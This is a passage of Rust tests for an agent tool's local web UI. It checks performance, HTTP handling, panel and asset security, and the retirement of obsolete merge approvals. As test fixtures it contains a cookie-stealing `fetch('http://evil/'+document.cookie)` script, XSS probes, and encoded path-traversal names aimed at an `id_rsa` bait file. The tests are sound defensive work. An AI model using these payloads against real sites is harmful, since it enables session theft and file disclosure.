9303 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9304 seed_performance(&fx, &repos, n, runs, items);
9305 let mut costs = Vec::new();
9306 for endpoint in ["questions", "talks", "health", "stats"] {
9307 for repo in &repos {
9308 let cache = repo.join(".git/magi/config");
9309 if cache.exists() {
9310 std::fs::remove_dir_all(cache).unwrap();
9311 }
9312 }
9313 let (_, cost) = request_cost::measure(async {
9314 match endpoint {
9315 "questions" => {
9316 let _ = questions_list(State(ui.clone())).await.unwrap();
9317 }
9318 "talks" => {
9319 let _ = talks_list(
9320 State(ui.clone()),
9321 Query(ListQuery {
9322 limit: None,
9323 ids: None,
9324 }),
9325 )
9326 .await
9327 .unwrap();
9328 }
9329 "health" => {
9330 let _ = health(State(ui.clone())).await.unwrap();
9331 }
9332 _ => {
9333 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9334 .await
9335 .unwrap();
9336 }
9337 }
9338 })
9339 .await;
9340 eprintln!("{endpoint} handler N={n}: {cost:?}");
9341 assert_eq!(
9342 cost.0,
9343 if endpoint == "talks" { 2 } else { 1 },
9344 "{endpoint}"
9345 );
9346 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9347 costs.push(cost);
9348 }
9349 if let Some(previous) = previous {
9350 assert_eq!(costs, previous);
9351 }
9352 previous = Some(costs);
9353 }
9354 }
9355
9356 #[tokio::test]
9357 async fn list_request_cost_scopes_do_not_mix() {
9358 let (_tmp, repos, fx) = performance_fixture().await;
9359 seed_performance(&fx, &repos, 10, 0, 10);
9360 let (questions, talks, notices) = tokio::join!(
9361 fx.get("/api/questions"),
9362 fx.get("/api/talks"),
9363 fx.get("/api/notifications")
9364 );
9365 assert_eq!(request_counts(&questions).0, 1);
9366 assert_eq!(request_counts(&talks).0, 2);
9367 assert_eq!(request_counts(¬ices), (0, 0));
9368 }
9369
9370 #[tokio::test]
9371 async fn list_endpoints_large_home_ceiling() {
9372 let (_tmp, repos, fx) = performance_fixture().await;
9373 seed_performance(&fx, &repos, 200, 300, 400);
9374 let mut failures = Vec::new();
9375 for path in [
9378 "/",
9379 "/app.js",
9380 "/app.css",
9381 "/api/questions",
9382 "/api/runs?limit=300",
9383 "/api/queue",
9384 "/api/talks",
9385 "/api/notifications",
9386 "/api/health",
9387 "/api/stats",
9388 "/api/loop",
9389 "/api/settings",
9390 "/api/repos",
9391 ] {
9392 let start = std::time::Instant::now();
9393 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9394 let elapsed = start.elapsed();
9395 eprintln!("{path}: {elapsed:?}");
9396 match result {
9397 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9398 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9399 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9400 }
9401 }
9402 assert!(failures.is_empty(), "{}", failures.join("\n"));
9403 }
9404
9405 struct Res {
9406 status: u16,
9407 headers: String,
9408 head: String,
9413 body: String,
9414 bytes: Vec<u8>,
9418 }
9419
9420 impl Res {
9421 fn json(&self) -> Value {
9422 serde_json::from_str(&self.body)
9423 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9424 }
9425
9426 fn header(&self, name: &str) -> Option<&str> {
9428 self.head.lines().find_map(|line| {
9429 let (key, value) = line.split_once(':')?;
9430 key.trim()
9431 .eq_ignore_ascii_case(name)
9432 .then(|| value.trim_start().trim_end_matches('\r'))
9433 })
9434 }
9435 }
9436
9437 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9440 request_with(addr, method, path, body, &[]).await
9441 }
9442
9443 async fn request_with(
9447 addr: SocketAddr,
9448 method: &str,
9449 path: &str,
9450 body: Option<&str>,
9451 extra: &[(&str, &str)],
9452 ) -> Res {
9453 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9454 for (name, value) in extra {
9455 head.push_str(&format!("{name}: {value}\r\n"));
9456 }
9457 if let Some(body) = body {
9458 head.push_str("Content-Type: application/json\r\n");
9459 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9460 }
9461 head.push_str("\r\n");
9462 if let Some(body) = body {
9463 head.push_str(body);
9464 }
9465 let mut socket = tokio::net::TcpStream::connect(addr)
9466 .await
9467 .expect("connect to the test server");
9468 socket
9469 .write_all(head.as_bytes())
9470 .await
9471 .expect("write request");
9472 let mut raw = Vec::new();
9473 socket.read_to_end(&mut raw).await.expect("read response");
9474 let split = raw
9477 .windows(4)
9478 .position(|w| w == b"\r\n\r\n")
9479 .expect("a header block");
9480 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9481 let bytes = raw[split + 4..].to_vec();
9482 let status = head
9483 .lines()
9484 .next()
9485 .and_then(|line| line.split_whitespace().nth(1))
9486 .and_then(|code| code.parse().ok())
9487 .expect("a status line");
9488 Res {
9489 status,
9490 headers: head.to_lowercase(),
9491 head,
9492 body: String::from_utf8_lossy(&bytes).into_owned(),
9493 bytes,
9494 }
9495 }
9496
9497 async fn request_bytes(
9503 addr: SocketAddr,
9504 path: &str,
9505 headers: &[(&str, &str)],
9506 body: &[u8],
9507 ) -> Res {
9508 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9509 for (name, value) in headers {
9510 head.push_str(&format!("{name}: {value}\r\n"));
9511 }
9512 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9513 let mut socket = tokio::net::TcpStream::connect(addr)
9514 .await
9515 .expect("connect to the test server");
9516 socket
9517 .write_all(head.as_bytes())
9518 .await
9519 .expect("write request head");
9520 socket.write_all(body).await.expect("write request body");
9521 let mut raw = Vec::new();
9522 socket.read_to_end(&mut raw).await.expect("read response");
9523 let split = raw
9524 .windows(4)
9525 .position(|w| w == b"\r\n\r\n")
9526 .expect("a header block");
9527 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9528 let bytes = raw[split + 4..].to_vec();
9529 let status = head
9530 .lines()
9531 .next()
9532 .and_then(|line| line.split_whitespace().nth(1))
9533 .and_then(|code| code.parse().ok())
9534 .expect("a status line");
9535 Res {
9536 status,
9537 headers: head.to_lowercase(),
9538 head,
9539 body: String::from_utf8_lossy(&bytes).into_owned(),
9540 bytes,
9541 }
9542 }
9543
9544 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9546 let mut state = RunState::new(
9547 PathBuf::from("/repo/magi"),
9548 "main".to_owned(),
9549 "0123456789abcdef".to_owned(),
9550 "Add a web UI\n\nMobile first.".to_owned(),
9551 Config::default(),
9552 );
9553 state.id = id.to_owned();
9554 state.status = status;
9555 let dir = runs.join(id);
9556 std::fs::create_dir_all(&dir).expect("run dir");
9557 std::fs::write(
9558 dir.join("run.json"),
9559 serde_json::to_string_pretty(&state).expect("serialize run"),
9560 )
9561 .expect("write run.json");
9562 }
9563
9564 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9568 let mut state = RunState::new(
9569 PathBuf::from(repo),
9570 "main".to_owned(),
9571 "0123456789abcdef".to_owned(),
9572 "task".to_owned(),
9573 Config::default(),
9574 );
9575 state.id = id.to_owned();
9576 state.status = status;
9577 let dir = runs.join(id);
9578 std::fs::create_dir_all(&dir).expect("run dir");
9579 std::fs::write(
9580 dir.join("run.json"),
9581 serde_json::to_string_pretty(&state).expect("serialize run"),
9582 )
9583 .expect("write run.json");
9584 }
9585
9586 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9587 let body = serde_json::json!({
9588 "schema": 1,
9589 "pid": 4242,
9590 "started_at": Timestamp::now().to_string(),
9591 "updated_at": updated_at.to_string(),
9592 "idle": false,
9593 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9594 "completed": 7,
9595 "polls": 143,
9596 });
9597 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9598 }
9599
9600 fn launch_idle(
9610 _opts: daemon::Opts,
9611 stop: daemon::Stop,
9612 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9613 Box::pin(async move {
9614 while !stop.stopped() {
9615 tokio::time::sleep(Duration::from_millis(2)).await;
9616 }
9617 Ok(())
9618 })
9619 }
9620
9621 fn launch_broken(
9624 _opts: daemon::Opts,
9625 _stop: daemon::Stop,
9626 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9627 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9632 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9633 Box::pin(async move {
9634 Err(anyhow::anyhow!(if first {
9635 "publish the daemon status file: read-only file system"
9636 } else {
9637 "the restarted stand-in failed as well"
9638 }))
9639 })
9640 }
9641
9642 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9649 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9650
9651 fn launch_knocking_on_the_way_out(
9658 _opts: daemon::Opts,
9659 stop: daemon::Stop,
9660 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9661 Box::pin(async move {
9662 while !stop.stopped() {
9663 tokio::time::sleep(Duration::from_millis(2)).await;
9664 }
9665 let addr = PARK_KNOCK
9666 .lock()
9667 .expect("park knock")
9668 .expect("the test set an address");
9669 let heard = request(addr, "GET", "/api/health", None).await.status;
9670 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9671 Ok(())
9672 })
9673 }
9674
9675 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9684 for _ in 0..SETTLE_STEPS {
9685 let view = fx.get("/api/loop").await.json();
9686 if want(&view) {
9687 return view;
9688 }
9689 tokio::time::sleep(Duration::from_millis(10)).await;
9690 }
9691 panic!(
9692 "the loop never settled: {}",
9693 fx.get("/api/loop").await.json()
9694 );
9695 }
9696
9697 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9699 let store = fx.questions();
9700 let mut q = Question::new(
9701 "20260902-000000-beef".to_owned(),
9702 "implement".to_owned(),
9703 "impl-A".to_owned(),
9704 summary.to_owned(),
9705 "because it matters".to_owned(),
9706 choices.iter().map(|c| (*c).to_owned()).collect(),
9707 );
9708 store.put(&mut q).expect("put question");
9709 q.id
9710 }
9711
9712 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9718 let store = fx.questions();
9719 let mut q = Question::new(
9720 "20260902-000000-beef".to_owned(),
9721 "land".to_owned(),
9722 "fix".to_owned(),
9723 "Merge this?".to_owned(),
9724 "the diff is in the panel".to_owned(),
9725 vec!["merge".to_owned(), "hold".to_owned()],
9726 );
9727 let staging = fx.home.path().join("staging");
9730 std::fs::create_dir_all(&staging).expect("staging dir");
9731 let sources: Vec<PathBuf> = assets
9732 .iter()
9733 .map(|(name, bytes)| {
9734 let path = staging.join(name);
9735 std::fs::write(&path, bytes).expect("write staged asset");
9736 path
9737 })
9738 .collect();
9739 store
9740 .put_panel(&mut q, html, &sources)
9741 .expect("write the panel");
9742 store.put(&mut q).expect("put question");
9743 q.id
9744 }
9745
9746 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9755 seed_talk_at(&fx.talks(), id, status)
9756 }
9757
9758 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9759 std::fs::create_dir_all(store.root()).expect("talks dir");
9760 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9761 .expect("serialize a seat");
9762 let body = serde_json::json!({
9763 "schema": 1,
9764 "id": id,
9765 "repo": "/repo/magi",
9766 "agent": "mock",
9767 "status": status,
9768 "turns": [],
9769 "created_at": Timestamp::now().to_string(),
9770 "updated_at": Timestamp::now().to_string(),
9771 "seat": seat,
9772 });
9773 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9774 store.get(id).expect("the seeded talk has to be readable");
9775 id.to_owned()
9776 }
9777
9778 #[tokio::test]
9779 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9780 let fx = Fixture::start().await;
9781 let id = panel(
9782 &fx,
9783 "<h1>Merge?</h1><img src=\"diff.svg\">",
9784 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9785 );
9786
9787 for path in [
9788 format!("/api/questions/{id}/panel"),
9789 format!("/api/questions/{id}/asset/diff.svg"),
9790 ] {
9791 let res = fx.get(&path).await;
9792 assert_eq!(res.status, 200, "{path}: {}", res.body);
9793 assert_eq!(
9799 res.header("content-security-policy"),
9800 Some(
9801 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9802 font-src data:; base-uri 'none'; form-action 'none'; \
9803 frame-ancestors 'self'"
9804 ),
9805 "{path} is the only thing between a hostile panel and the tailnet"
9806 );
9807 assert_eq!(
9808 res.header("x-content-type-options"),
9809 Some("nosniff"),
9810 "{path}: a browser must not re-decide the type we sent"
9811 );
9812 assert_eq!(
9813 res.header("referrer-policy"),
9814 Some("no-referrer"),
9815 "{path}: a panel must not leak the question id off the machine"
9816 );
9817
9818 let pre = fx.head(&path).await;
9823 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9824 assert_eq!(
9825 pre.header("content-security-policy"),
9826 res.header("content-security-policy"),
9827 "{path}: the preflight carries the same policy"
9828 );
9829 assert_eq!(
9830 pre.header("content-type"),
9831 res.header("content-type"),
9832 "{path}: the preflight carries the same type"
9833 );
9834 }
9835 }
9836
9837 #[tokio::test]
9838 async fn a_panel_reaches_the_browser_byte_for_byte() {
9839 let fx = Fixture::start().await;
9840 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9845 let id = panel(&fx, html, &[]);
9846
9847 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9848
9849 assert_eq!(res.status, 200);
9850 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9851 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9852 assert_eq!(
9853 res.header("content-disposition"),
9854 None,
9855 "the panel itself is rendered in the frame, not downloaded"
9856 );
9857 }
9858
9859 #[tokio::test]
9860 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9861 let fx = Fixture::start().await;
9862 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9863 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9864 let id = panel(
9865 &fx,
9866 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9867 &[("diff.svg", svg), ("shot.png", png)],
9868 );
9869
9870 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9871 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9872
9873 assert_eq!(as_svg.status, 200);
9874 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9875 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9880
9881 assert_eq!(as_png.status, 200);
9882 assert_eq!(as_png.header("content-type"), Some("image/png"));
9883 assert_eq!(
9884 as_png.header("content-disposition"),
9885 None,
9886 "a raster image has no execution surface, so tapping it still shows it"
9887 );
9888 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9889 }
9890
9891 #[tokio::test]
9892 async fn an_html_asset_is_never_served_as_html() {
9893 let fx = Fixture::start().await;
9894 let id = panel(
9895 &fx,
9896 "<p>see the notes</p>",
9897 &[
9898 (
9899 "notes.html",
9900 b"<script>fetch('http://evil/'+document.cookie)</script>",
9901 ),
9902 ("hook.js", b"fetch('http://evil/')"),
9903 ("data.json", b"{}"),
9904 ("HEADLINE.TXT", b"plain"),
9905 ],
9906 );
9907
9908 for name in ["notes.html", "hook.js", "data.json"] {
9909 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9910 assert_eq!(res.status, 200, "{name}: {}", res.body);
9911 assert_eq!(
9916 res.header("content-type"),
9917 Some("application/octet-stream"),
9918 "{name} must not be a type the browser will execute or render"
9919 );
9920 }
9921 let txt = fx
9924 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9925 .await;
9926 assert_eq!(
9927 txt.header("content-type"),
9928 Some("text/plain; charset=utf-8")
9929 );
9930 }
9931
9932 #[tokio::test]
9933 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9934 let fx = Fixture::start().await;
9935 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9936 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9940
9941 for encoded in [
9948 "%2e%2e%2fid_rsa",
9949 "..%2fid_rsa",
9950 "..%5cid_rsa",
9951 "%2e%2e%5cid_rsa",
9952 "diff%00.svg",
9953 "..",
9954 ".hidden",
9955 "%2e%2e%2f%2e%2e%2fid_rsa",
9956 ] {
9957 let res = fx
9958 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9959 .await;
9960 assert_eq!(
9961 res.status, 400,
9962 "`{encoded}` has to be refused by name, not looked up: {}",
9963 res.body
9964 );
9965 assert!(res.json()["error"].is_string(), "{}", res.body);
9966 }
9967
9968 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9974 let res = fx
9975 .get(&format!("/api/questions/{id}/asset/{literal}"))
9976 .await;
9977 assert_eq!(
9978 res.status, 404,
9979 "`{literal}` must not match the asset route at all: {}",
9980 res.body
9981 );
9982 }
9983 }
9984
9985 #[tokio::test]
9986 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9987 let fx = Fixture::start().await;
9988 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9989 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9990
9991 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9995 assert_eq!(none.status, 404, "{}", none.body);
9996 assert!(none.json()["error"].is_string(), "{}", none.body);
9997 assert_eq!(
9998 fx.head(&format!("/api/questions/{plain}/panel"))
9999 .await
10000 .status,
10001 404,
10002 "the preflight is the only way the client can learn this"
10003 );
10004
10005 let missing = fx
10007 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10008 .await;
10009 assert_eq!(missing.status, 404, "{}", missing.body);
10010 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10011
10012 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10014 assert_eq!(
10015 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10016 404
10017 );
10018 }
10019
10020 #[tokio::test]
10021 async fn a_run_with_an_open_question_reads_as_waiting() {
10022 let fx = Fixture::start().await;
10023 let run = "20260902-000000-beef".to_owned();
10024 write_run(&fx.runs(), &run, RunStatus::Implementing);
10025
10026 let before = fx.get("/api/runs").await.json();
10027 assert_eq!(before[0]["waiting"], false, "{before}");
10028
10029 let store = fx.questions();
10030 let mut q = Question::new(
10031 run.clone(),
10032 "implement".to_owned(),
10033 "impl-A".to_owned(),
10034 "Which backend?".to_owned(),
10035 String::new(),
10036 vec!["SQLite".to_owned()],
10037 );
10038 store.put(&mut q).expect("put");
10039
10040 let during = fx.get("/api/runs").await.json();
10041 assert_eq!(during[0]["waiting"], true, "{during}");
10042
10043 q.answer(Answer::Choice("SQLite".to_owned()))
10046 .expect("answer");
10047 store.put(&mut q).expect("put");
10048 let after = fx.get("/api/runs").await.json();
10049 assert_eq!(after[0]["waiting"], false, "{after}");
10050 }
10051
10052 #[tokio::test]
10053 async fn an_open_question_is_listed_and_counted_by_health() {
10054 let fx = Fixture::start().await;
10055 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10056
10057 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10058 let listed = fx.get("/api/questions").await.json();
10059 assert_eq!(listed.as_array().expect("array").len(), 1);
10060 assert_eq!(listed[0]["id"], id);
10061 assert_eq!(listed[0]["status"], "open");
10062 assert_eq!(listed[0]["choices"][1], "Redis");
10063 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10066 }
10067
10068 fn obsolete_approval_state() -> RunState {
10069 let mut state = crate::land::tests::repair_state(true, true);
10070 state.pr = Some(crate::run::PrRecord {
10071 url: "https://github.com/example/repo/pull/42".into(),
10072 number: 42,
10073 state: "open".into(),
10074 checks: "green".into(),
10075 round: 1,
10076 rounds: 4,
10077 red_at_merge: Vec::new(),
10078 });
10079 state
10080 }
10081
10082 #[tokio::test]
10083 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10084 for owner in ["missing", "current", "completed", "later"] {
10085 let fx = Fixture {
10086 home: TempDir::new().unwrap(),
10087 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10088 };
10089 let mut state = obsolete_approval_state();
10090 state.status = RunStatus::Landing;
10091 state.parked = true;
10092 state.driver_exited = true;
10093 let mut q = Question::new(
10094 state.id.clone(),
10095 crate::land::APPROVAL_NODE.into(),
10096 "land".into(),
10097 "Old approval".into(),
10098 "Original evidence".into(),
10099 vec!["merge".into(), "hold".into()],
10100 );
10101 state.land_approval = Some(crate::run::LandApproval {
10102 question: q.id.clone(),
10103 head: "head".into(),
10104 });
10105 state.save_under(fx.home.path()).unwrap();
10106 let stale = state.clone();
10107 fx.questions().put(&mut q).unwrap();
10108 let mut task = Task::new(
10109 "Owner".into(),
10110 "Original instruction".into(),
10111 state.repo.clone(),
10112 Source::Human,
10113 );
10114 task.runs.push(state.id.clone());
10115 task.status = if owner == "completed" {
10116 TaskStatus::Done
10117 } else {
10118 TaskStatus::Parked
10119 };
10120 if owner == "later" {
10121 task.runs.push("later-run".into());
10122 }
10123 if owner != "missing" {
10124 fx.queue().put(&mut task).unwrap();
10125 }
10126 let ui = Arc::new(Ui::new(
10127 fx.queue(),
10128 fx.questions(),
10129 fx.talks(),
10130 fx.runs(),
10131 fx.home.path().into(),
10132 state.repo.clone(),
10133 ));
10134 let response = question_answer(
10135 State(ui),
10136 Path(q.id.clone()),
10137 Ok(Json(NewAnswer {
10138 choice: Some(crate::merge_decision::DISMISS.into()),
10139 text: None,
10140 })),
10141 )
10142 .await
10143 .unwrap();
10144 assert_eq!(
10145 response.0.question.resolution().as_deref(),
10146 Some(crate::merge_decision::DISMISS)
10147 );
10148 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10149 assert_eq!(disk.status, RunStatus::Superseded);
10150 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10151 assert!(!crate::merge_decision::resumable_hold(&disk));
10152 assert_eq!(
10153 serde_json::to_value(&disk.pr).unwrap(),
10154 serde_json::to_value(&stale.pr).unwrap()
10155 );
10156 assert_eq!(fx.questions().count_open(), 0);
10157 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10158 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10159 if owner == "missing" {
10160 assert!(fx.queue().list().is_empty());
10161 } else {
10162 let after = fx.queue().get(&task.id).unwrap();
10163 assert_eq!(
10164 after.status,
10165 if owner == "current" {
10166 TaskStatus::Done
10167 } else {
10168 task.status
10169 }
10170 );
10171 assert_eq!(after.runs, task.runs);
10172 assert_eq!(after.instruction, task.instruction);
10173 assert_eq!(after.action_applied(&q.id), owner == "current");
10174 }
10175 }
10176 }
10177
10178 #[tokio::test]
10179 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10180 let fx = Fixture::start().await;
10181 let mut state = obsolete_approval_state();
10182 state.status = RunStatus::Landing;
10183 state.parked = true;
10184 state.driver_exited = true;
10185 let mut q = Question::new(
10186 state.id.clone(),
10187 crate::land::APPROVAL_NODE.into(),
10188 "land".into(),
10189 "Superseded PR approval".into(),
10190 "Original review evidence".into(),
10191 vec!["merge".into(), "hold".into()],
10192 );
10193 state.land_approval = Some(crate::run::LandApproval {
10194 question: q.id.clone(),
10195 head: "old-reviewed-head".into(),
10196 });
10197 state.save_under(fx.home.path()).unwrap();
10200 let stale_driver = state.clone();
10201 fx.questions().put(&mut q).unwrap();
10202 let path = fx
10203 .home
10204 .path()
10205 .join("questions")
10206 .join(format!("{}.json", q.id));
10207 let mut legacy = serde_json::to_value(&q).unwrap();
10208 legacy["schema"] = 9.into();
10209 legacy.as_object_mut().unwrap().remove("merge_target");
10210 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10211
10212 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10215 let answer_path = format!("/api/questions/{}/answer", q.id);
10216 let res = fx.post(&answer_path, Some(&body)).await;
10217 assert_eq!(res.status, 200, "{}", res.body);
10218 let disk = fx.questions().get(&q.id).unwrap();
10219 assert_eq!(
10220 disk.resolution().as_deref(),
10221 Some(crate::merge_decision::DISMISS)
10222 );
10223 assert!(disk.detail.starts_with("Original review evidence"));
10224 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10225 assert_eq!(retired.status, RunStatus::Superseded);
10226 assert_eq!(
10227 serde_json::to_value(&retired.pr).unwrap(),
10228 serde_json::to_value(&state.pr).unwrap()
10229 );
10230 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10231 assert!(!crate::merge_decision::resumable_hold(&retired));
10232 assert!(fx.queue().list().is_empty());
10233 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10234 let addr = Fixture::serve(
10236 fx.home.path(),
10237 PathBuf::from("/repo/magi"),
10238 launch_idle,
10239 None,
10240 )
10241 .await;
10242 let reconnected = Fixture {
10243 home: fx.home,
10244 addr,
10245 };
10246 let listed = reconnected.get("/api/questions").await.json();
10247 assert!(
10248 listed
10249 .as_array()
10250 .unwrap()
10251 .iter()
10252 .all(|q| q["status"] != "open")
10253 );
10254 assert_eq!(listed[0]["id"], q.id, "history remains available");
10255 assert_eq!(
10256 reconnected.get("/api/health").await.json()["questions_open"],
10257 0
10258 );
10259 assert_eq!(
10260 reconnected
10261 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10262 .await
10263 .status,
10264 409
10265 );
10266 assert!(
10268 reconnected
10269 .questions()
10270 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10271 .is_err()
10272 );
10273 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10276 }
10277
10278 #[tokio::test]
10279 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10280 let fx = Fixture::start().await;
10281 let mut state = obsolete_approval_state();
10282 state.status = RunStatus::Landing;
10283 state.driver_exited = true;
10284 let mut q = Question::new(
10285 state.id.clone(),
10286 crate::land::APPROVAL_NODE.into(),
10287 "land".into(),
10288 "Obsolete approval".into(),
10289 String::new(),
10290 vec!["merge".into(), "hold".into()],
10291 );
10292 state.land_approval = Some(crate::run::LandApproval {
10293 question: q.id.clone(),
10294 head: "head".into(),
10295 });
10296 state.save_under(fx.home.path()).unwrap();
10297 fx.questions().put(&mut q).unwrap();
10298 let mut task = Task::new(
10299 "Owner".into(),
10300 "Original instruction".into(),
10301 state.repo.clone(),
10302 Source::Human,
10303 );
10304 task.runs = vec![state.id.clone(), "later-run".into()];
10305 fx.queue().put(&mut task).unwrap();
10306 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10307 let claim = fx.queue().claim(&task.id).unwrap();
10308 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10309 let path = format!("/api/questions/{}/answer", q.id);
10310 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10311 assert!(fx.questions().get(&q.id).unwrap().status.open());
10312 drop(claim);
10313 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10314 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10315 assert!(fx.questions().get(&q.id).unwrap().status.open());
10316 drop(publication);
10317 state.driver_exited = false;
10319 state.driver_pid = None;
10320 state.save_under(fx.home.path()).unwrap();
10321 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10322 state.driver_exited = true;
10323 state.land_armed_head = Some("head".into());
10324 state.save_under(fx.home.path()).unwrap();
10325 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10326 state.land_armed_head = None;
10327 state.save_under(fx.home.path()).unwrap();
10328 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10329 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10330 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10331 }
10332
10333 #[tokio::test]
10334 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10335 let fx = Fixture::start().await;
10336 let mut state = obsolete_approval_state();
10337 state.status = RunStatus::Landing;
10338 state.driver_exited = true;
10339 let mut q = Question::new(
10340 state.id.clone(),
10341 crate::land::APPROVAL_NODE.into(),
10342 "land".into(),
10343 "Obsolete approval".into(),
10344 String::new(),
10345 vec!["merge".into(), "hold".into()],
10346 );
10347 state.land_approval = Some(crate::run::LandApproval {
10348 question: q.id.clone(),
10349 head: "head".into(),
10350 });
10351 state.save_under(fx.home.path()).unwrap();
10352 fx.questions().put(&mut q).unwrap();
10353 let mut task = Task::new(
10354 "Owner".into(),
10355 "Original instruction".into(),
10356 state.repo.clone(),
10357 Source::Human,
10358 );
10359 task.runs.push(state.id.clone());
10360 task.status = TaskStatus::Parked;
10361 fx.queue().put(&mut task).unwrap();
10362 state.merge_decision = Some(crate::merge_decision::Decision {
10365 question: q.id.clone(),
10366 target: crate::merge_decision::Target {
10367 pr: state.pr.as_ref().unwrap().url.clone(),
10368 head: "head".into(),
10369 language: "ja".into(),
10370 },
10371 choice: crate::merge_decision::DISMISS.into(),
10372 closed: false,
10373 replacement_run: None,
10374 replacement_pr: None,
10375 });
